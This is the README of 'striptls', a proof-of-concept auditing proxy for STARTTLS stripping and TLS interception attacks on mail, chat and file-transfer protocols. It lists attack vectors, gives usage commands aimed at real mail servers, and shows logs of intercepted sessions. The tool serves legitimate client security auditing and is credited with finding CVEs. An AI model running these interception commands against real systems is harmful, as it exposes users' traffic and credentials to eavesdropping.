Striptls
proxy poc implementation of STARTTLS stripping attacks
Install / Use
/learn @tintinweb/StriptlsREADME

striptls - auditing proxy
poc implementation of STARTTLS stripping attacks
A generic tcp proxy implementation and audit tool to perform protocol independent ssl/tls interception and STARTTLS stripping attacks on SMTP, POP3, IMAP, FTP, NNTP, XMPP, ACAP and IRC.
Python2!
:trophy: Trophies
- CVE-2016-0772 - python: smtplib
- CVE-2016-10027 - Smack XMPP library
<sub>//Discovered a vulnerability with the help of this project? Drop me a line!</sub>
Requires:
- Python >= 2.7.9 (
SSLContext) < Python 3 - (optional for tls interception) Certificate and PrivateKey in PEM format (single file)
--key=server.pem
Vectors
- GENERIC
- Intercept - protocol independent ssl/tls interception. peeks for TLS Handshake, converts socket to tls (tls-to-tls proxy)
- InboundIntercept - protocol independent ssl/tls interception for the inbound channel only (tls-to-plain proxy)
- SMTP
- SMTP.StripFromCapabilities - server response capability patch
- SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response code
- SMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)
- SMTP.StripWithTemporaryError
- SMTP.StripWithError
- SMTP.ProtocolDowngradeStripExtendedMode
- SMTP.InjectCommand
- SMTP.InboundStarttlsProxy - (starttls-to-plain proxy)
- POP3
- POP3.StripFromCapabilities
- POP3.StripWithError
- POP3.UntrustedIntercept
- IMAP
- IMAP.StripFromCapabilities
- IMAP.StripWithError
- IMAP.UntrustedIntercept
- IMAP.ProtocolDowngradeToV2
- FTP
- FTP.StripFromCapabilities
- FTP.StripWithError
- FTP.UntrustedIntercept
- NNTP
- NNTP.StripFromCapabilities
- NNTP.StripWithError
- NNTP.UntrustedIntercept
- XMPP
- XMPP.StripFromCapabilities
- XMPP.StripInboundTLS
- XMPP.UntrustedIntercept
- ACAP (untested)
- ACAP.StripFromCapabilities
- ACAP.StripWithError
- ACAP.UntrustedIntercept
- IRC
- IRC.StripFromCapabilities
- IRC.StripWithError
- IRC.UntrustedIntercept
- IRC.StripWithNotRegistered
- IRC.StripCAPWithNotregistered
- IRC.StripWithSilentDrop
Results:
- [*] client: 127.0.0.1
- [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
- [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
- [ ] <class striptls.StripFromCapabilities at 0xffd316bc>
- [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>
- [*] client: 192.168.139.1
- [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
- [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
- [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>
Usage
#> python2 -m pip install striptls
#> python2 -m striptls --help
#> python -m striptls --help # from pip/setup.py
#> python striptls --help # from source / root folder
Usage: striptls.py [options]
example: striptls.py --listen 0.0.0.0:25 --remote mail.server.tld:25
Options:
-h, --help show this help message and exit
-q, --quiet be quiet [default: True]
-l LISTEN, --listen=LISTEN
listen ip:port [default: 0.0.0.0:<remote_port>]
-r REMOTE, --remote=REMOTE
remote target ip:port to forward sessions to
-k KEY, --key=KEY SSL Certificate and Private key file to use, PEM
format assumed [default: server.pem]
-s, --generic-ssl-intercept
dynamically intercept SSL/TLS
-b BUFFER_SIZE, --bufsiz=BUFFER_SIZE
-x VECTORS, --vectors=VECTORS
Comma separated list of vectors. Use 'ALL' (default)
to select all vectors, 'NONE' for tcp/ssl proxy mode.
Available vectors: ACAP.StripFromCapabilities,
ACAP.StripWithError, ACAP.UntrustedIntercept,
FTP.StripFromCapabilities, FTP.StripWithError,
FTP.UntrustedIntercept, GENERIC.Intercept,
IMAP.ProtocolDowngradeToV2,
IMAP.StripFromCapabilities, IMAP.StripWithError,
IMAP.UntrustedIntercept,
IRC.StripCAPWithNotRegistered,
IRC.StripFromCapabilities, IRC.StripWithError,
IRC.StripWithNotRegistered, IRC.StripWithSilentDrop,
IRC.UntrustedIntercept, NNTP.StripFromCapabilities,
NNTP.StripWithError, NNTP.UntrustedIntercept,
POP3.StripFromCapabilities, POP3.StripWithError,
POP3.UntrustedIntercept, SMTP.InboundStarttlsProxy,
SMTP.InjectCommand,
SMTP.ProtocolDowngradeStripExtendedMode,
SMTP.StripFromCapabilities, SMTP.StripWithError,
SMTP.StripWithInvalidResponseCode,
SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,
XMPP.StripFromCapabilities, XMPP.StripInboundTLS,
XMPP.UntrustedIntercept [default: ALL]
Install (optional)
from pip
#> pip install striptls
from source
#> setup.py install
Examples
inbound outbound
[inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]
smtp-client striptls remote/target
local smtp-client -> localhost:8825 (proxy) -> mail.gmx.net:25
Generic SSL/TLS Interception
--generic-ssl-intercept is a global switch to enable generic ssl/tls handshake
detection and session conversion. Can be combined with any mangle/vector.
GENERIC.Intercept is a mangle/vector implementation of the ssl/tls handshake
detect and convert feature.
# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:465 -x GENERIC.Intercept
- INFO - <Proxy 0x1fdcf50 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 465)> ready.
- DEBUG - * added vector (port:None , proto: GENERIC): <class __main__.Intercept at 0x0218AAB0>
- INFO - <RewriteDispatcher ssl/tls_intercept=False vectors={None: set([<class __main__.Intercept at 0x0218AAB0>])}>
- INFO - <Session 0x1ff00b0> client ('127.0.0.1', 8228) has connected
- INFO - <Session 0x1ff00b0> connecting to target ('mail.gmx.com', 465)
- DEBUG - <RewriteDispatcher - changed mangle: __main__.Intercept new: True>
- INFO - ProtocolDetect: SSL/TLS version: TLS_1_0
- INFO - SSL Handshake detected - performing ssl/tls conversion
- DEBUG - <Session 0x1ff00b0> [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - <Session 0x1ff00b0> [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - <Session 0x1ff00b0> [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
- DEBUG - <Session 0x1ff00b0> [client] => [server] 'hi\r\n'
- DEBUG - <Session 0x1ff00b0> [client] <= [server] '500 Syntax error, command unrecognized\r\n'
# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:25 -x NONE --generic-ssl-intercept
- INFO - <Proxy 0x1efbf70 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 25)> ready.
- INFO - <RewriteDispatcher ssl/tls_intercept=True vectors={}>
- DEBUG - <ProtocolDetect 0x1f21b70 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0x1f10110> client ('127.0.0.1', 8290) has connected
- INFO - <Session 0x1f10110> connecting to target ('mail.gmx.com', 25)
- DEBUG - <Session 0x1f10110> [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
- DEBUG - <Session 0x1f10110> [client] => [server] 'EHLO openssl.client.net\r\n'
- DEBUG - <Session 0x1f10110> [client] <= [server] '250-gmx.com Hello openssl.client.net [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0x1f10110> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0x1f10110> [client] <= [server] '220 OK\r\n'
- INFO - ProtocolDetect: SSL/TLS version: TLS_1_0
- INFO - SSL Handshake detected - performing ssl/tls conversion
- DEBUG - <Session 0x1f10110> [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - <Session 0x1f10110> [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - <Session 0x1f10110> [client] => [server] 'EHLO A\r\n'
- DEBUG - <Session 0x1f10110> [client] <= [server] '250-gmx.com Hello A [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250AUTH LOGIN PLAIN\r\n'
Audit Mode
iterates all protocol specific cases on a per client basis and keeps track of clients violating the starttls protocol. Ctrl+C to abort audit and print results.
#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
- INFO - <Proxy 0xffcf6d0cL listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
- DEBUG - * added test (port:21 , proto: FTP): <class striptls.StripFromCapabilities at 0xffd4632c>
- DEBUG - * added test (port:21 , proto: FTP): <class striptls.StripWithError at 0xffd4635c>
- DEBUG - * added test (port:21 , proto: FTP): <class striptls.UntrustedIntercept at 0xffd4638c>
- DEBUG - * added test (port:143 , proto: IMAP): <class striptls.StripFromCapabilities at 0xffd4626c>
- DEBUG - * added test (port:143 , proto: IMAP): <class striptls.Str
